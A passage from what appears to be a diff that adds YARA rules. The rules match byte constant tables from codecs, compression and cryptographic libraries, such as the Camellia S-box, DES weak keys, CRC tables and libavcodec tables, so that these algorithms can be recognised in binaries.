f1bbd3f1679183f4d1ef83f192bcd3f4b19343f1bd7ca3f490a873f1e7cf13f46f3093f211b243f44d2d13f23b2463f42a9f73f26423b3f4078923f28cae43f3e3ebd3f2b4c253f3bfc8f3f2dc5e33f39b2233f3038013f375f903f32a2663f3504f33f3504f33f32a2653f375f913f3038013f39b2233f2dc5e23f3bfc903f2b4c243f3e3ebe3f28cae33f4078933f26423a3f42a9f73f23b2463f44d2d23f211b243f46f30a3f1e7cf13f490a883f1bd7c93f4b19353f192bcd3f4d1ef93f1679183f4f1bbd3f13bfc93f510f6c3f1100003f52f9ef3f0e39d93f54db323f0b6d763f56b31e3f089af63f58819e3f05c2763f5a46a13f02e41b3f5c020f3effffff3f5db3d83efa2c8e3f5f5be73ef44e273f60fa293eee65053f628e8d3ee871723f6419013ee273a93f6599743edc6bf13f670fd53ed65a923f687c123ed03fc83f69de1e3eca1bdc3f6b35e73ec3ef153f6c835e3ebdb9b33f6dc6773eb77bfe3f6eff213eb136413f702d4f3eaae8ba3f7150f43ea493b73f726a033e9e37793f7378713e97d44a3f747c303e916a753f7575363e8afa3c3f7663783e8483ef3f7746ea3e7c0f9a3f781f843e6f0c493f78ed3c3e61fe833f79b0093e54e6cb3f7a67e23e47c5bc3f7b14bf3e3a9bf33f7bb6983e2d69f13f7c4d673e2030553f7cd9253e12efb93f7d59cb3e05a8a43f7dcf553df0b7733f7e39bc3dd612ff3f7e98fd3dbb65283f7eed123da0af283f7f35f93d85f20c3f7f73af3d565e3f3f7fa62f3d20cedf3f7fcd793cd670e33f7fe98b3c5675c03f7ffa63b33bbd2e3f800000bc56761e3f7ffa63bcd671123f7fe98bbd20cef73f7fcd79bd565e563f7fa62fbd85f2183f7f73afbda0af343f7f35f9bdbb65343f7eed12bdd6130b3f7e98fdbdf0b77f3f7e39bcbe05a8aa3f7dcf55be12efbf3f7d59cbbe20305a3f7cd925be2d69f73f7c4d67be3a9bf83f7bb698be47c5c23f7b14bebe54e6d13f7a67e1be61fe883f79b008be6f0c4f3f78ed3cbe7c0fa03f781f84be8483f23f7746eabe8afa3f3f766377be916a783f757535be97d44c3f747c30be9e377b3f737870bea493ba3f726a03beaae8bc3f7150f4beb136433f702d4ebeb77c013f6eff21bebdb9b63f6dc676bec3ef183f6c835ebeca1bde3f6b35e7bed03fcb3f69de1dbed65a953f687c11bedc6bf43f670fd4bee273a83f659974bee871753f641900beee65083f628e8cbef44e263f60fa29befa2c943f5f5be5bf0000013f5db3d7bf02e41a3f5c020fbf05c2793f5a469fbf089af73f58819ebf0b6d773f56b31dbf0e39dc3f54db30bf1100013f52f9eebf13bfca3f510f6cbf1679173f4f1bbdbf192bce3f4d1ef7bf1bd7ca3f4b1934bf1e7cf03f490a88bf211b263f46f308bf23b2473f44d2d1bf26423a3f42a9f7bf28cae53f407891bf2b4c263f3e3ebdbf2dc5e33f3bfc8fbf3038033f39b221bf32a2663f375f8fbf3504f33f3504f3bf375f923f32a263bf39b2243f303800bf3bfc903f2dc5e2bf3e3ebf3f2b4c22bf4078943f28cae2bf42a9f83f26423abf44d2d13f23b247bf46f30b3f211b22bf490a883f1e7cf0bf4b19343f1bd7cabf4d1efa3f192bcbbf4f1bbe3f167917bf510f6c3f13bfcabf52f9f13f10fffebf54db323f0e39d9bf56b31d3f0b6d77bf5881a03f089af3bf5a46a13f05c276bf5c020f3f02e41abf5db3d73f000001bf5f5be73efa2c8dbf60fa293ef44e26bf628e8d3eee6508bf6419023ee8716dbf6599743ee273a8bf670fd43edc6bf4bf687c133ed65a8dbf69de1e3ed03fc7bf6b35e73eca1bdebf6c83603ec3ef10bf6dc6773ebdb9b1bf6eff213eb77c00bf702d503eb1363cbf7150f53eaae8b8bf726a043ea493b6bf7378723e9e3773bf747c313e97d448bf7575363e916a74bf7663773e8afa3fbf7746eb3e8483eabf781f853e7c0f98bf78ed3c3e6f0c4ebf79b0093e61fe78bf7a67e23e54e6c8bf7b14bf3e47c5c1bf7bb6983e3a9be8bf7c4d673e2d69eebf7cd9253e20305abf7d59cc3e12efaebf7dcf553e05a8a1bf7e39bc3df0b76dbf7e98fd3dd61309bf7eed133dbb6522bf7f35fa3da0af22bf7f73af3d85f216bf7fa6303d565e13bf7fcd793d20ced3bf7fe98b3cd6710cbf7ffa633c5675113f800000000000003f7fe98b3cd6710b3f7fa62f3d565e3b3f7f35f93da0af2a3f7e98fd3dd613053f7dcf553e05a8a93f7cd9253e20305c3f7bb6983e3a9bf33f7a67e23e54e6ce3f78ed3c3e6f0c4e3f7746ea3e8483ee3f7575363e916a763f7378713e9e377a3f7150f43eaae8bc3f6eff203eb77c013f6c835e3ec3ef163f69de1d3ed03fc93f670fd43edc6bf43f6419013ee871723f60fa283ef44e283f5db3d73f0000003f5a46a03f05c2773f56b31d3f0b6d773f52f9ef3f1100003f4f1bbd3f1679183f4b19343f1bd7ca3f46f3093f211b243f42a9f73f26423b3f3e3ebd3f2b4c253f39b2233f3038013f3504f33f3504f33f3038013f39b2233f2b4c243f3e3ebe3f26423a3f42a9f73f211b243f46f30a3f1bd7c93f4b19353f1679183f4f1bbd3f1100003f52f9ef3f0b6d763f56b31e3f05c2763f5a46a13effffff3f5db3d83ef44e273f60fa293ee871723f6419013edc6bf13f670fd53ed03fc83f69de1e3ec3ef153f6c835e3eb77bfe3f6eff213eaae8ba3f7150f43e9e37793f7378713e916a753f7575363e8483ef3f7746ea3e6f0c493f78ed3c3e54e6cb3f7a67e23e3a9bf33f7bb6983e2030553f7cd9253e05a8a43f7dcf553dd612ff3f7e98fd3da0af283f7f35f93d565e3f3f7fa62f3cd670e33f7fe98bb33bbd2e3f800000bcd671123f7fe98bbd565e563f7fa62fbda0af343f7f35f9bdd6130b3f7e98fdbe05a8aa3f7dcf55be20305a3f7cd925be3a9bf83f7bb698be54e6d13f7a67e1be6f0c4f3f78ed3cbe8483f23f7746eabe916a783f757535be9e377b3f737870beaae8bc3f7150f4beb77c013f6eff21bec3ef183f6c835ebed03fcb3f69de1dbedc6bf43f670fd4bee871753f641900bef44e263f60fa293f800000000000003f7fa62f3d565e3b3f7e98fd3dd613053f7cd9253e20305c3f7a67e23e54e6ce3f7746ea3e8483ee3f7378713e9e377a3f6eff203eb77c013f69de1d3ed03fc93f6419013ee871723f5db3d73f0000003f56b31d3f0b6d773f4f1bbd3f1679183f46f3093f211b243f3e3ebd3f2b4c253f3504f33f3504f33f2b4c243f3e3ebe3f211b243f46f30a3f1679183f4f1bbd3f0b6d763f56b31e3effffff3f5db3d83ee871723f6419013ed03fc83f69de1e3eb77bfe3f6eff213e9e37793f7378713e8483ef3f7746ea3e54e6cb3f7a67e23e2030553f7cd9253dd612ff3f7e98fd3d565e3f3f7fa62fb33bbd2e3f800000bd565e563f7fa62fbdd6130b3f7e98fdbe20305a3f7cd925be54e6d13f7a67e1be8483f23f7746eabe9e377b3f737870beb77c013f6eff21bed03fcb3f69de1dbee871753f641900bf0000013f5db3d7bf0b6d773f56b31dbf1679173f4f1bbdbf211b263f46f308bf2b4c263f3e3ebdbf3504f33f3504f3bf3e3ebf3f2b4c22bf46f30b3f211b22bf4f1bbe3f167917bf56b31d3f0b6d77bf5db3d73f000001bf6419023ee8716dbf69de1e3ed03fc7bf6eff213eb77c00bf7378723e9e3773bf7746eb3e8483eabf7a67e23e54e6c8bf7cd9253e20305abf7e98fd3dd61309bf7fa6303d565e13bf800000b3bbbd2ebf7fa62fbd565e42bf7e98fcbdd61321bf7cd924be203065bf7a67e1be54e6d4bf7746eabe8483efbf737871be9e3779bf6eff20beb77c06bf69de1dbed03fccbf641901bee87173bf5db3d5bf000003bf56b31cbf0b6d79bf4f1bbcbf16791abf46f309bf211b25bf3e3ebdbf2b4c25bf3504f1bf3504f5bf2b4c23bf3e3ebebf211b23bf46f30abf167915bf4f1bbfbf0b6d78bf56b31d3f800000000000003f7f35f93da0af2a3f7cd9253e20305c3f78ed3c3e6f0c4e3f7378713e9e377a3f6c835e3ec3ef163f6419013ee871723f5a46a03f05c2773f4f1bbd3f1679183f42a9f73f26423b3f3504f33f3504f33f26423a3f42a9f73f1679183f4f1bbd3f05c2763f5a46a13ee871723f6419013ec3ef153f6c835e3e9e37793f7378713e6f0c493f78ed3c3e2030553f7cd9253da0af283f7f35f93f800000000000003f7cd9253e20305c3f7378713e9e377a3f6419013ee871723f4f1bbd3f1679183f3504f33f3504f33f1679183f4f1bbd3ee871723f6419013e9e37793f7378713e2030553f7cd925b33bbd2e3f800000be20305a3f7cd925be9e377b3f737870bee871753f641900bf1679173f4f1bbdbf3504f33f3504f3bf4f1bbe3f167917bf6419023ee8716dbf7378723e9e3773bf7cd9253e20305a3f800000000000003f78ed3c3e6f0c4e3f6419013ee871723f42a9f73f26423b3f1679183f4f1bbd3ec3ef153f6c835e3e2030553f7cd925bda0af343f7f35f9be9e377b3f737870bf05c2793f5a469fbf3504f33f3504f3bf5a46a13f05c276bf7378723e9e3773bf7f35fa3da0af22bf7cd924be203065bf6c835ebec3ef15bf4f1bbcbf16791abf264238bf42a9f9bee87168bf641903be6f0c53bf78ed3c3f800000000000003f7378713e9e377a3f4f1bbd3f1679183f1679183f4f1bbd3e9e37793f7378713f800000000000003f4f1bbd3f1679183e9e37793f737871be9e377b3f737870bf4f1bbe3f1679173f800000000000003f1679183f4f1bbdbe9e377b3f737870bf7378723e9e3773bf4f1bbcbf16791a3f800000000000003f800000000000003f800000000000003f800000000000003e9e377ebf737870 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_alaw_encode__8_byt_2049_
+{
+strings:
+	$a0 = { d5d4d7d6d1d0d3d2dddcdfded9d8dbdac5c4c7c6c1c0c3c2cdcccfcec9c8cbcaf5f5f4f4f7f7f6f6f1f1f0f0f3f3f2f2fdfdfcfcfffffefef9f9f8f8fbfbfafae5e5e5e5e4e4e4e4e7e7e7e7e6e6e6e6e1e1e1e1e0e0e0e0e3e3e3e3e2e2e2e2ededededececececefefefefeeeeeeeee9e9e9e9e8e8e8e8ebebebebeaeaeaea959595959595959594949494949494949797979797979797969696969696969691919191919191919090909090909090939393939393939392929292929292929d9d9d9d9d9d9d9d9c9c9c9c9c9c9c9c9f9f9f9f9f9f9f9f9e9e9e9e9e9e9e9e999999999999999998989898989898989b9b9b9b9b9b9b9b9a9a9a9a9a9a9a9a85858585858585858585858585858585848484848484848484848484848484848787878787878787878787878787878786868686868686868686868686868686818181818181818181818181818181818080808080808080808080808080808083838383838383838383838383838383828282828282828282828282828282828d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e89898989898989898989898989898989888888888888888888888888888888888b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8ab5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2bdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebeb9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbabababababababababababababababababababababababababababababababaa5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2adadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaea9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8ababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa2a }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_lo_filter__flt32___32_lil_36_
+{
+strings:
+	$a0 = { 8e9ba23c1a8030bd728854bd6622963ef254103f6622963e728854bd1a8030bd8e9ba23c }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_14__16_big_514_
+{
+strings:
+	$a0 = { 40003f523ea43df73d4a3c9d3bf03b443a9839ec3940389537ea3741369835f0354834a033f8335132aa3204315f30bb30182f752ed32e332d932cf42c552bb82b1b2a7e29e1294528aa2811277826e1264a25b62522248f23fd236e22df225321c7213c20b120291fa11f1c1e971e141d921d121c931c161b991b1f1aa51a2d19b5193d18c5184f17d9176616f41684161515a9153d14d3146a1404139e133c12da1279121811ba115c110110a6104e0ff70fa20f4d0efb0ea90e5a0e0b0dbe0d710d240cd70c8c0c420bfa0bb30b6e0b2a0ae80aa60a660a2709ea09ae0974093a090108c90893085d082907f507c4079307630734070706da06af0684065a0630060605dc05b3058a0564053e051904f504d204af048e046d044e042f041103f403d703ba039e03830368034f0336031e030602ef02d802c302ae029a028602730260024d023a02280216020501f401e401d401c501b601a8019a018d018001740168015c01500145013a012f0125011b0111010800ff00f600ed00e500dd00d500cd00c500bd00b500ae00a700a0009a0094008e00880083007e00790074006f006a00650061005d005900550051004d0049004600430040003d003a003700340031002e002b0028002500230021001f001d001b001900170015001300110010000f000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table2__flt64___64_big_80_
+{
+strings:
+	$a0 = { 3ffc73d1200000003ffd8a7ca00000003ffeabd4e00000003fff2293600000003fff9b21c00000003ffd51ef600000003ffb32fb400000003ff7f09c400000003ff5122f800000003ff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Nush_64___Nessie_S_64__16_lil_72_
+{
+strings:
+	$a0 = { 040007000b00080007000e000500040008000200090004000d0001000e00060007000c0005000100020004000c000300090002000b000d000c00030006000b0007000f0004000e00 }
+
+condition:
+	$a0
+}
+
+	
+rule libntlm_DES_weak_keys__8_byt_512_
+{
+strings:
+	$a0 = { 000000000000000000001e1e00000e0e0000e0e00000f0f00000fefe0000fefe001e001e000e000e001e1e00000e0e00001ee0fe000ef0fe001efee0000efef000e000e000f000f000e01efe00f00efe00e0e00000f0f00000e0fe1e00f0fe0e00fe00fe00fe00fe00fe1ee000fe0ef000fee01e00fef00e00fefe0000fefe001e00001e0e00000e1e001e000e000e001e00e0fe0e00f0fe1e00fee00e00fef01e1e00000e0e00001e1e1e1e0e0e0e0e1e1ee0e00e0ef0f01e1efefe0e0efefe1ee000fe0ef000fe1ee01ee00ef00ef01ee0e01e0ef0f00e1ee0fe000ef0fe001efe00e00efe00f01efe1efe0efe0efe1efee0000efef0001efefe1e0efefe0ee00000e0f00000f0e0001efef0000efee000e000f000f000e000fe1ef000fe0ee01e00fef00e00fee01e1ee0f00e0ef0e01ee01ef00ef00ee01efe00f00efe00e0e00000f0f00000e0e01e1ef0f00e0ee0e0e0e0f0f0f0f0e0e0fefef0f0fefee0fe001ef0fe000ee0fe1e00f0fe0e00e0fee0fef0fef0fee0fefee0f0fefef0fe0000fefe0000fefe001ee0fe000ef0fe00e01efe00f00efe00fe00fe00fe00fe1e00e0fe0e00f0fe1e1efefe0e0efefe1ee000fe0ef000fe1efe1efe0efe0efee0001efef0000efee01e00fef00e00fee0e0fefef0f0fefee0fee0fef0fef0fefe0000fefe0000fefe1e1efefe0e0efefee0e0fefef0f0fefefefefefefefe }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms_real__flt32___32_lil_148_
+{
+strings:
+	$a0 = { 0000803f1f85fb3ffca98540b072064133338741295c074248618742cd4c0743cd4c87439a39074473680140c74b7f4014ae0541ec5188417b1409428f428942cd4c0943cd4c89430040094473680140c74b7f4014ae0541ec5188417b1409428f428942cd4c0943cd4c894300400944b81e0540295c774079e90441a47089410ad70a42142e8b42cd4c0b43cd4c8b43cd4c0b44 }
+
+condition:
+	$a0
+}
+
+	
+rule Ruby_MARK_5__32_lil_AND_
+{
+strings:
+	$a0 = { 91606c45[0-20]c31071aa[0-20]1f000000[0-20]1b000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xe03__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000d49149a39d3273c6a7573a65eef4070cd39d4eaf9a3e74caa05b3d69e9f80e18da8947bb932a7ddea94f347de0ec0914dd8540b794267ad2ae433371e7e01c30c8a1559381026ff6bb672655f2c41b3ccfad529f860e68fabc6b2159f5c81228c6b95b8b8f1a61eeb57f284dfcdc1524c1b55c87881666e2b2732f41fbd03860ecf171c3a5524ba69f370205d6943f6cebfd76cfa25e4caa983b0509d1983678e2e97fdbab4a45be912f0c1dd88c3174e5e578d7ac4642b296230b11df802450f0c16df3b962579683071e35caa4235cf7cd6affbe6e509a840b1939cda82a48fed963ebb77a598e8d1f102dc4bc2d44f9d564e7b0765e828a131721c3b070c0a4513963edf20306d7974aa59e3477cca35d3e6feafe040ad09b4da999387ed8aa49377be3ea0d1ed98f44bd902c79d4ad453077e4e60a12de8343b197206cf0b8612553f1c21f36cba7569582046bfcbf6d225ff6ce183accab5199850862e8b6792b4bffda112ec5bf588d8c1c65e4b1752c47f8d61622c2b35f818b1048a09c310103d5923b66eff772c5a6544fac9b3d060fd29e3c6ae8fb75c9a15846b892290f1bdb8a357ee1ef7cdda84c41b495250817dc863272e6e37bd1af40549080011d33c9a22756f3c76ef5ba64539c870d1a3fceae205af4cb69f9bd685a888e19132bc7ba294efddf60edb47c5d8489151427c0b62e42fad367e1b370 }
+
+condition:
+	$a0
+}
+
+	
+rule Camellia_s1__8_byt_256_
+{
+strings:
+	$a0 = { 70822cecb327c0e5e4855735ea0cae4123ef6b934519a521ed0e4f4e1d6592bd86b8af8f7ceb1fce3e30dc5f5ec50b1aa6e139cad5475d3dd9015ad651566c4d8b0d9a66fbccb02d74122b20f0b18499df4ccbc2347e76056db7a931d11704d714583a61de1b111c320f9c165318f222fe44cfb2c3b57a912408e8a860fc6950aad0a07da1896297545b1e95e0ff64d210c40048a3f775db8a03e6da093fdd94875c8302cd4a90337367f6f39d7fbfe2529bd826c837c63b81966f4b13be632ee979a78c9f6ebc8e29f5f9b62ffdb4597898066ae74671bad425ab4288a28dfa7207b955f8eeac0a36492a683c38f1a44028d37bbbc943c115e3adf477c7809e }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_16_960__16_lil_84_
+{
+strings:
+	$a0 = { 08001000180020002800300038004000480050005800640070007c0088009400a000ac00b800c400d400e400f400040118012c014001580170018c01a801c801ec0114023c0268029802cc02040340038003c003 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceStarts__16_big_60_
+{
+strings:
+	$a0 = { 0001000200030004000500070009000d001100190021003100410061008100c101010181020103010401060108010c01100118012001300140016001 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_CHAR2_193R1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 103faec74d696e676875615175777fc5b191ef30 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap2__16_big_96_
+{
+strings:
+	$a0 = { D0D70260E495024E0FA003651A243D49E7DEDBE9FFB60085073FFC235074F498EE8500E1FB56F0C3FCCBE65AFC95B0B6F536F393F002EA09BDCF2625060B1AB707BC4F09FBD1EC86184DBA05EA74187A0166048A0EA9FBD610BBF3653E3827CA }
+
+condition:
+	$a0
+}
+
+	
+rule Little_CMS_isotempdata__flt64___64_big_992_
+{
+strings:
+	$a0 = { 00000000000000003fc70c34c1a8ac5c3fd0dd82fd75e204bfcf280f12c27a6340240000000000003fc71fddebd9018e3fd104577d955715bfd04e7ab756430340340000000000003fc735d249e44fa03fd12e72da122fadbfd1335d249e44fa403e0000000000003fc74e65bea0ba1f3fd15b2d4d4024b3bfd243d46b26bf8740440000000000003fc76a400fba88273fd18a5ce5b4245fbfd380346dc5d63940490000000000003fc789613d31b9b63fd1bbd7b2031cebbfd4e978d4fdf3b6404e0000000000003fc7ac1d29dc725c3fd1eef5ec80c73bbfd67ff583a53b8e40518000000000003fc7d273d5bab2183fd2238da3c21188bfd843fe5c91d14e40540000000000003fc7fcb923a29c783fd258f7121ab4b7bfda36113404ea4b40568000000000003fc82a9930be0ded3fd28ede54b48d3bbfdc5681ecd4aa1140590000000000003fc85c67dfe32a063fd2c4c5974e65bfbfdea5f84cad57bc405f4000000000003fc8e94ee392e1ef3fd34a4d2b2bfdb5bfe2a012599ed7c74062c000000000003fc98d25edd052933fd3ca18bd66277cbfe68cfbfc6540cc4065e000000000003fca45a1cac083123fd4410b630a9153bfeb2b1704ff434240690000000000003fcb0fcf80dc33723fd4adff822bbecbbff04a8c154c985f406c2000000000003fcbe9b7bf1e8e613fd50fcf80dc3372bff3780346dc5d64406f4000000000003fccd0678c0053e33fd566a550870111bff7381d7dbf488040713000000000003fcdc193b3a68b1a3fd5b2d4d4024b34bffbad42c3c9eecc4072c000000000003fcebb98c7e282413fd5f505d0fa58f7c000827525460aa640745000000000003fcf9e59f2ba9d1f3fd62de00d1b7176c003beab367a0f914075e000000000003fd060d4562e09ff3fd65e5f30e7ff58c007b67a0f9096bc40777000000000003fd0e5604189374c3fd6872b020c49bac00ca6b50b0f27bb40790000000000003fd16b65a9a804963fd6a915379fa97ec0117404ea4a8c15407a9000000000003fd1f1e8e60807353fd6c4ef88b97785c015813a92a30553407c2000000000003fd278e9f6a93f293fd6db61bb05faecc01ae7a0f9096bba407db000000000003fd2ff972474538f3fd6ed3d859c8c93c02130e560418937407f4000000000003fd385f06f6944673fd6fb00bcbe61d0c026a5e353f7ced940806800000000003fd40b780346dc5d3fd704ff43419e30c02f4189374bc6a840813000000000003fd49003eea209ab3fd70c0ad03d9a95c0375333333333334081f800000000003fd5136a400fba883fd7107746887a8dc044628f5c28f5c34082c000000000003fd5955714b9cb683fd7129888f861a6c05d1ccccccccccd }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc8_cnk__32_lil_2048_
+{
+strings:
+	$a0 = { 000000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e0000001f00000000000000000000000100000003000000060000000a0000000f000000150000001c000000240000002d00000037000000420000004e0000005b00000069000000780000008800000099000000ab000000be000000d2000000e7000000fd000000140100002c010000450100005f0100007a01000096010000b3010000d101000000000000000000000000000001000000040000000a0000001400000023000000380000005400000078000000a5000000dc0000001e0100006c010000c701000030020000a802000030030000c9030000740400003205000004060000eb060000e8070000fc080000280a00006d0b0000cc0c0000460e0000dc0f00008f1100000000000000000000000000000000000001000000050000000f00000023000000460000007e000000d20000004a010000ef010000cb020000e9030000550500001c0700004c090000f40b0000240f0000ed12000061170000931c000097220000822900006a310000663a00008e440000fb4f0000c75c00000d6b0000e97a00000000000000000000000000000000000000000000010000000600000015000000380000007e000000fc000000ce0100001803000007050000d2070000bb0b0000101100002c180000782100006c2d0000903c00007d4f0000de6600007183000008a600008acf0000f40001005a3b0100e87f0100e3cf0100aa2c0200b797020000000000000000000000000000000000000000000000000001000000070000001c00000054000000d2000000ce0100009c030000b4060000bb0b00008d130000481f00005830000084480000fc69000068970000f8d3000075230100538a0100c40d0200ccb30200568303004a840400a4bf05008c3f07006f0f0900193c0b0000000000000000000000000000000000000000000000000000000000010000000800000024000000780000004a01000018030000b4060000680d000023190000b02c0000f84b0000507c0000d4c40000d02e010038c60100309a0200a5bd0300f8470500bc55070088090a00de8c0d0028111200ccd0170058101f00c71f2800000000000000000000000000000000000000000000000000000000000000000001000000090000002d000000a5000000ef01000007050000bb0b00002319000046320000f65e0000eeaa00003e27010012ec0100e21a03001ae104004a7b0700ef380b00e7801000a3d617002be02100096d2f00317e4100fd4e5900555f7800000000000000000000000000000000000000000000000000000000000000000000000000010000000a00000037000000dc000000cb020000d20700008d130000b02c0000f65e0000ecbd0000da680100189002002a7c04000c97070026780c0070f313005f2c1f0046ad2f00e9834700146469001dd198004e4fda004b9e330100000000000000000000000000000000000000000000000000000000000000000000000000000000010000000b000000420000001e010000e9030000bb0b0000481f0000f84b0000eeaa0000da680100b4d10200cc610500f6dd09000275110028ed1d0098e03100f70c51003dba8000263ec8003aa231015773ca01a5c2a4020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000c0000004e0000006c010000550500001011000058300000507c00003e27010018900200cc61050098c30a008ea1140090162600b803440050e4750047f1c60084ab4701aae90f02e48b41033bff0b05000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000d0000005b000000c70100001c0700002c18000084480000d4c4000012ec01002a7c0400f6dd09008ea114001c432900ac594f00645d9300b4410901fb32d0017fde170329c827050d54690800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000e00000069000000300200004c09000078210000fc690000d02e0100e21a03000c9707000275110090162600ac594f0058b39e00bc10320170523b026b850b04ea632307132c4b0c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000f00000078000000a8020000f40b00006c2d00006897000038c601001ae1040026780c0028ed1d00b8034400645d9300bc10320178216402e8739f0453f9aa083d5dce0f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000100000008800000030030000240f0000903c0000f8d30000309a02004a7b070070f3130098e0310050e47500b441090170523b02e8739f04d